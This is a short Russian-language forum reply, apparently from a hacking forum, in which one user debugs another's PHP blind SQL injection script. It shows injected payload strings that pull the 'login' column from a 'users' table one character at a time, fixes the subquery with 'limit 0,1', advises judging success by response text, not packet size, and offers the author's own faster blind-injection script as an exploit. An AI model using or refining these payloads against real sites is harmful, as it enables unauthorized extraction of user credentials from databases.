Показать сообщение отдельно

  #2  
Старый 23.03.2010, 17:41
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Мельком глянул, пока увидел:

Код:
$script="' and substring((select login from users),$pos,1)='$char[$i]'/*";
Это может вызывать ошибку, дело в том что в подзапросах нужно ограничивать число результатов - должен быть строго 1 результат, юзай limit:

Код:
$script="' and substring((select login from users limit 0,1),$pos,1)='$char[$i]'/*";
или where userid=1 и т.д.

Далее:

Код:
if(strlen($response)==324)
{
    echo $char[$i];
}
Я так понял правильность выполнения запроса ты определяешь по размеру ответного пакета - лучше определяй по наличию/отсутствию текста в получаемом пакете (если есть такая возможность).

P.S. лучше попробуй использовать мой скрипт для блинда как сплоент - он оптимизирован, скорость будет выше. Могу помочь заточить его под сплоент если что.
 
Ответить с цитированием